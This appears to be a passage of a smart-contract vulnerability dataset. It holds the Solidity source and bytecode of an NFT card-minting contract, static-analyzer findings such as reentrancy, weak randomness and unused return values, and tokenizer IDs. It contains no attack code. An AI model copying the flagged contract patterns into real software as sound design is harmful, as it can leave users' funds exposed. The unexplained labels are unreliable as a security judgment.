01b600052604160045260246000fd5b6001600160e01b031981168114610a1257600080fdfe77696474683d2233303022206865696768743d223330302220786d6c6e733d22687474703a2f2f7777772e77332e6f72672f313939392f7868746d6c223e3c666f726569676e4f626a65637420783d22302220793d2230222077696474683d2233323522206865696768743d22333030223e3c626f6479207374796c653d226261636b67726f756e642d636f6c6f723a3c7265637420783d22302220793d2230222077696474683d2233353022206865696768743d22333030222f3e4142434445464748494a4b4c4d4e4f505152535455565758595a6162636465666768696a6b6c6d6e6f707172737475767778797a303132333435363738392b2f3c2f6469763e3c2f626f64793e3c2f666f726569676e4f626a6563743e3c2f7376673e3c2f6469763e3c646976207374796c653d22636f6c6f723a626c61636b3b206f766572666c6f772d777261703a20627265616b2d776f72643b22203e20504154483a203c73766720786d6c6e733d22687474703a2f2f7777772e77332e6f72672f323030302f73766722207072657365727665417370656374526174696f3d22784d696e594d696e206d656574222076696577426f783d223020302033323520333030223e3c7374796c653e2e62617365207b2066696c6c3a2077686974653b20666f6e742d66616d696c793a2073657269663b20666f6e742d73697a653a20313470783b7d3c2f7374796c653ea264697066735822122009ffb672cb157bb5f9abe69d89d827859d59399972c9760f51c96373617e704364736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-shift", "impact": "High", "confidence": "High"}, {"check": "write-after-write", "impact": "Medium", "confidence": "High"}, {"check": "weak-prng", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
true
null
{'detectors': [{'check': 'divide-before-multiply', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'reentrancy-no-eth', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'incorrect-shift', 'impact': 'High', 'confidence': 'High'}, {'check': 'write-after-write', 'impact': 'Medium', 'confidence': 'High'}, {'check': 'weak-prng', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'locked-ether', 'impact': 'Medium', 'confidence': 'High'}]}
[ 101, 1014, 2595, 2683, 21084, 22275, 2692, 21472, 23833, 2683, 19961, 2050, 23833, 2094, 24594, 2278, 7011, 12740, 2575, 2683, 2098, 2475, 2546, 24096, 2620, 16409, 23632, 16068, 2063, 1013, 1013, 5371, 1024, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 21183, 12146, 1013, 17174, 13102, 18491, 1013, 29464, 11890, 16048, 2629, 1012, 14017, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1014, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 8278, 1997, 1996, 9413, 2278, 16048, 2629, 3115, 1010, 2004, 4225, 1999, 1996, 1008, 16770, 1024, 1013, 1013, 1041, 11514, 2015, 1012, 28855, 14820, 1012, 8917, 1013, 1041, 11514, 2015, 1013, 1041, 11514, 1011, 13913, 1031, 1041, 11514, 1033, 1012, 1008, 1008, 10408, 2545, 2064, 13520, 2490, 1997, 3206, 19706, 1010, 2029, 2064, 2059, 2022, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,136
0x9645a7550d6CE93E43c4FF27526E05fcAb6aac4c
// SPDX-License-Identifier: MIT // File: contracts/IToken.sol pragma solidity ^0.8.5; /** * @dev Required interface of an YuGiOhCard minter. */ interface IToken { /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); } // File: contracts/IYuGiOhCard.sol pragma solidity ^0.8.5; /** * @dev Required interface of an YuGiOhCard minter. */ interface IYuGiOhCard { function mint(address to, uint256 amount) external; } // File: @openzeppelin/contracts/utils/structs/EnumerableSet.sol // OpenZeppelin Contracts v4.4.1 (utils/structs/EnumerableSet.sol) pragma solidity ^0.8.0; /** * @dev Library for managing * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive * types. * * Sets have the following properties: * * - Elements are added, removed, and checked for existence in constant time * (O(1)). * - Elements are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableSet for EnumerableSet.AddressSet; * * // Declare a set state variable * EnumerableSet.AddressSet private mySet; * } * ``` * * As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`) * and `uint256` (`UintSet`) are supported. */ library EnumerableSet { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping(bytes32 => uint256) _indexes; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; if (lastIndex != toDeleteIndex) { bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = valueIndex; // Replace lastvalue's index to valueIndex } // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /** * @dev Returns true if the value is in the set. O(1). */ function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /** * @dev Returns the number of values on the set. O(1). */ function _length(Set storage set) private view returns (uint256) { return set._values.length; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Set storage set, uint256 index) private view returns (bytes32) { return set._values[index]; } /** * @dev Return the entire set in an array * * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that * this function has an unbounded cost, and using it as part of a state-changing function may render the function * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block. */ function _values(Set storage set) private view returns (bytes32[] memory) { return set._values; } // Bytes32Set struct Bytes32Set { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _add(set._inner, value); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _remove(set._inner, value); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) { return _contains(set._inner, value); } /** * @dev Returns the number of values in the set. O(1). */ function length(Bytes32Set storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) { return _at(set._inner, index); } /** * @dev Return the entire set in an array * * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that * this function has an unbounded cost, and using it as part of a state-changing function may render the function * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block. */ function values(Bytes32Set storage set) internal view returns (bytes32[] memory) { return _values(set._inner); } // AddressSet struct AddressSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns the number of values in the set. O(1). */ function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint160(uint256(_at(set._inner, index)))); } /** * @dev Return the entire set in an array * * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that * this function has an unbounded cost, and using it as part of a state-changing function may render the function * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block. */ function values(AddressSet storage set) internal view returns (address[] memory) { bytes32[] memory store = _values(set._inner); address[] memory result; assembly { result := store } return result; } // UintSet struct UintSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /** * @dev Returns the number of values on the set. O(1). */ function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } /** * @dev Return the entire set in an array * * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that * this function has an unbounded cost, and using it as part of a state-changing function may render the function * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block. */ function values(UintSet storage set) internal view returns (uint256[] memory) { bytes32[] memory store = _values(set._inner); uint256[] memory result; assembly { result := store } return result; } } // File: @openzeppelin/contracts/utils/Address.sol // OpenZeppelin Contracts v4.4.1 (utils/Address.sol) pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts/utils/Context.sol // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File: @openzeppelin/contracts/access/Ownable.sol // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) pragma solidity ^0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // File: contracts/YuGiOhCardPurchase.sol pragma solidity ^0.8.5; contract YuGiOhCardPurchase is Ownable { using EnumerableSet for EnumerableSet.AddressSet; uint256 public constant MAX_AIRDROP = 3613; // claim for free uint256 public constant MAX_PURCHASE = 20; uint256 public price = 0.05 * 1e18; // 0.05 ETH uint256 public startTime = 1640908800; // Fri Dec 31 2021 00:00:00 GMT+0000 address public ygo; uint256 public totalClaimed; EnumerableSet.AddressSet private allowSet; mapping(address => uint256) public allowLimit; mapping(address => bool) public claimedAccounts; constructor(address ygo_) { ygo = ygo_; addAllow(0x7A58c0Be72BE218B41C608b7Fe7C5bB630736C71, 10000 * 1e18); // We the people, for the people. } function mint(uint256 amount) public payable { require(block.timestamp >= startTime, "YuGiOhCardPurchase: purchase has not started yet"); require(amount > 0, "YuGiOhCardPurchase: cannot buy zero"); require(amount <= MAX_PURCHASE, "YuGiOhCardPurchase: too many to purchase at once"); require(msg.value >= (price * amount), "YuGiOhCardPurchase: ether value error"); IYuGiOhCard(ygo).mint(msg.sender, amount); } function claim() public { require(block.timestamp >= startTime, "YuGiOhCardPurchase: purchase has not started yet"); require(totalClaimed < MAX_AIRDROP, "YuGiOhCardPurchase: all claimed"); require(totalClaimed + 1 < MAX_AIRDROP, "YuGiOhCardPurchase: exceeds MAX_AIRDROP"); require(canClaim(msg.sender), "YuGiOhCardPurchase: can NOT claim"); claimedAccounts[msg.sender] = true; IYuGiOhCard(ygo).mint(msg.sender, 1); totalClaimed += 1; } function canClaim(address account) public view returns (bool) { if (claimedAccounts[account]) { return false; } for (uint i = 0; i < allowSet.length(); i++) { address token = allowSet.at(i); // for ERC721 or ERC20 if (IToken(token).balanceOf(account) >= allowLimit[token]) { return true; } } return false; } // The following functions are system manager. function setPurchasePrice(uint256 newPrice) public onlyOwner { price = newPrice; } function setStartTime(uint256 newStartTime) public onlyOwner { startTime = newStartTime; } function addAllow(address token, uint256 amount) public onlyOwner { // ignore check allowLimit[token] = amount; allowSet.add(token); } function removeAllow(address token) public onlyOwner { allowSet.remove(token); } function getAllAllow() public view returns (address[] memory) { return allowSet.values(); } function withdraw() public { Address.sendValue(payable(owner()), address(this).balance); } }
0x60806040526004361061011f5760003560e01c8063a0712d68116100a0578063bf3506c111610064578063bf3506c11461030d578063d54ad2a11461032d578063d729666214610343578063df93315d14610363578063f2fde38b1461037957600080fd5b8063a0712d681461024d578063a2116b0b14610260578063a9bdb8a11461028d578063b1dafd9a146102cd578063b80d035f146102ed57600080fd5b8063715018a6116100e7578063715018a6146101b857806378e97925146101cd5780638da5cb5b146101e3578063906d476914610215578063a035b1fe1461023757600080fd5b8063080b4fcc146101245780633ccfd60b146101465780633e0a322d1461015b5780634e71d92d1461017b5780637146bd0814610190575b600080fd5b34801561013057600080fd5b5061014461013f366004610dce565b610399565b005b34801561015257600080fd5b506101446103db565b34801561016757600080fd5b50610144610176366004610e13565b6103f8565b34801561018757600080fd5b50610144610427565b34801561019c57600080fd5b506101a5601481565b6040519081526020015b60405180910390f35b3480156101c457600080fd5b50610144610604565b3480156101d957600080fd5b506101a560025481565b3480156101ef57600080fd5b506000546001600160a01b03165b6040516001600160a01b0390911681526020016101af565b34801561022157600080fd5b5061022a610638565b6040516101af9190610e45565b34801561024357600080fd5b506101a560015481565b61014461025b366004610e13565b610649565b34801561026c57600080fd5b506101a561027b366004610dce565b60076020526000908152604090205481565b34801561029957600080fd5b506102bd6102a8366004610dce565b60086020526000908152604090205460ff1681565b60405190151581526020016101af565b3480156102d957600080fd5b506003546101fd906001600160a01b031681565b3480156102f957600080fd5b50610144610308366004610de9565b610803565b34801561031957600080fd5b506102bd610328366004610dce565b610858565b34801561033957600080fd5b506101a560045481565b34801561034f57600080fd5b5061014461035e366004610e13565b61095a565b34801561036f57600080fd5b506101a5610e1d81565b34801561038557600080fd5b50610144610394366004610dce565b610989565b6000546001600160a01b031633146103cc5760405162461bcd60e51b81526004016103c390610e92565b60405180910390fd5b6103d7600582610a42565b5050565b6103f66103f06000546001600160a01b031690565b47610a57565b565b6000546001600160a01b031633146104225760405162461bcd60e51b81526004016103c390610e92565b600255565b6002544210156104495760405162461bcd60e51b81526004016103c390610ec7565b610e1d6004541061049c5760405162461bcd60e51b815260206004820152601f60248201527f597547694f684361726450757263686173653a20616c6c20636c61696d65640060448201526064016103c3565b610e1d60045460016104ae9190610f17565b1061050b5760405162461bcd60e51b815260206004820152602760248201527f597547694f684361726450757263686173653a2065786365656473204d41585f604482015266041495244524f560cc1b60648201526084016103c3565b61051433610858565b61056a5760405162461bcd60e51b815260206004820152602160248201527f597547694f684361726450757263686173653a2063616e204e4f5420636c61696044820152606d60f81b60648201526084016103c3565b3360008181526008602052604090819020805460ff1916600190811790915560035491516340c10f1960e01b8152600481019390935260248301526001600160a01b0316906340c10f1990604401600060405180830381600087803b1580156105d257600080fd5b505af11580156105e6573d6000803e3d6000fd5b505050506001600460008282546105fd9190610f17565b9091555050565b6000546001600160a01b0316331461062e5760405162461bcd60e51b81526004016103c390610e92565b6103f66000610b70565b60606106446005610bc0565b905090565b60025442101561066b5760405162461bcd60e51b81526004016103c390610ec7565b600081116106c75760405162461bcd60e51b815260206004820152602360248201527f597547694f684361726450757263686173653a2063616e6e6f7420627579207a60448201526265726f60e81b60648201526084016103c3565b60148111156107315760405162461bcd60e51b815260206004820152603060248201527f597547694f684361726450757263686173653a20746f6f206d616e7920746f2060448201526f7075726368617365206174206f6e636560801b60648201526084016103c3565b8060015461073f9190610f2f565b34101561079c5760405162461bcd60e51b815260206004820152602560248201527f597547694f684361726450757263686173653a2065746865722076616c75652060448201526432b93937b960d91b60648201526084016103c3565b6003546040516340c10f1960e01b8152336004820152602481018390526001600160a01b03909116906340c10f1990604401600060405180830381600087803b1580156107e857600080fd5b505af11580156107fc573d6000803e3d6000fd5b5050505050565b6000546001600160a01b0316331461082d5760405162461bcd60e51b81526004016103c390610e92565b6001600160a01b0382166000908152600760205260409020819055610853600583610a24565b505050565b6001600160a01b03811660009081526008602052604081205460ff161561088157506000919050565b60005b61088e6005610bd4565b8110156109515760006108a2600583610bde565b6001600160a01b03818116600081815260076020526040908190205490516370a0823160e01b81529288166004840152929350906370a082319060240160206040518083038186803b1580156108f757600080fd5b505afa15801561090b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061092f9190610e2c565b1061093e575060019392505050565b508061094981610f65565b915050610884565b50600092915050565b6000546001600160a01b031633146109845760405162461bcd60e51b81526004016103c390610e92565b600155565b6000546001600160a01b031633146109b35760405162461bcd60e51b81526004016103c390610e92565b6001600160a01b038116610a185760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016103c3565b610a2181610b70565b50565b6000610a39836001600160a01b038416610bea565b90505b92915050565b6000610a39836001600160a01b038416610c39565b80471015610aa75760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a20696e73756666696369656e742062616c616e636500000060448201526064016103c3565b6000826001600160a01b03168260405160006040518083038185875af1925050503d8060008114610af4576040519150601f19603f3d011682016040523d82523d6000602084013e610af9565b606091505b50509050806108535760405162461bcd60e51b815260206004820152603a60248201527f416464726573733a20756e61626c6520746f2073656e642076616c75652c207260448201527f6563697069656e74206d6179206861766520726576657274656400000000000060648201526084016103c3565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b60606000610bcd83610d2c565b9392505050565b6000610a3c825490565b6000610a398383610d88565b6000818152600183016020526040812054610c3157508154600181810184556000848152602080822090930184905584548482528286019093526040902091909155610a3c565b506000610a3c565b60008181526001830160205260408120548015610d22576000610c5d600183610f4e565b8554909150600090610c7190600190610f4e565b9050818114610cd6576000866000018281548110610c9157610c91610fac565b9060005260206000200154905080876000018481548110610cb457610cb4610fac565b6000918252602080832090910192909255918252600188019052604090208390555b8554869080610ce757610ce7610f96565b600190038181906000526020600020016000905590558560010160008681526020019081526020016000206000905560019350505050610a3c565b6000915050610a3c565b606081600001805480602002602001604051908101604052809291908181526020018280548015610d7c57602002820191906000526020600020905b815481526020019060010190808311610d68575b50505050509050919050565b6000826000018281548110610d9f57610d9f610fac565b9060005260206000200154905092915050565b80356001600160a01b0381168114610dc957600080fd5b919050565b600060208284031215610de057600080fd5b610a3982610db2565b60008060408385031215610dfc57600080fd5b610e0583610db2565b946020939093013593505050565b600060208284031215610e2557600080fd5b5035919050565b600060208284031215610e3e57600080fd5b5051919050565b6020808252825182820181905260009190848201906040850190845b81811015610e865783516001600160a01b031683529284019291840191600101610e61565b50909695505050505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60208082526030908201527f597547694f684361726450757263686173653a2070757263686173652068617360408201526f081b9bdd081cdd185c9d1959081e595d60821b606082015260800190565b60008219821115610f2a57610f2a610f80565b500190565b6000816000190483118215151615610f4957610f49610f80565b500290565b600082821015610f6057610f60610f80565b500390565b6000600019821415610f7957610f79610f80565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603160045260246000fd5b634e487b7160e01b600052603260045260246000fdfea2646970667358221220b0a87857ae15cf2a69b87e2afcc0072e63d068b6679157cf54433cb0456ad54964736f6c63430008050033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'reentrancy-no-eth', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 21084, 2629, 2050, 23352, 12376, 2094, 2575, 3401, 2683, 2509, 2063, 23777, 2278, 2549, 4246, 22907, 25746, 2575, 2063, 2692, 2629, 11329, 7875, 2575, 11057, 2278, 2549, 2278, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 1013, 1013, 5371, 1024, 8311, 1013, 23333, 7520, 1012, 14017, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1019, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 3223, 8278, 1997, 2019, 9805, 11411, 16257, 4232, 12927, 2121, 1012, 1008, 1013, 8278, 23333, 7520, 1063, 1013, 1008, 1008, 1008, 1030, 16475, 5651, 1996, 3815, 1997, 19204, 2015, 3079, 2011, 1036, 4070, 1036, 1012, 1008, 1013, 3853, 5703, 11253, 1006, 4769, 4070, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 1065, 102 ]
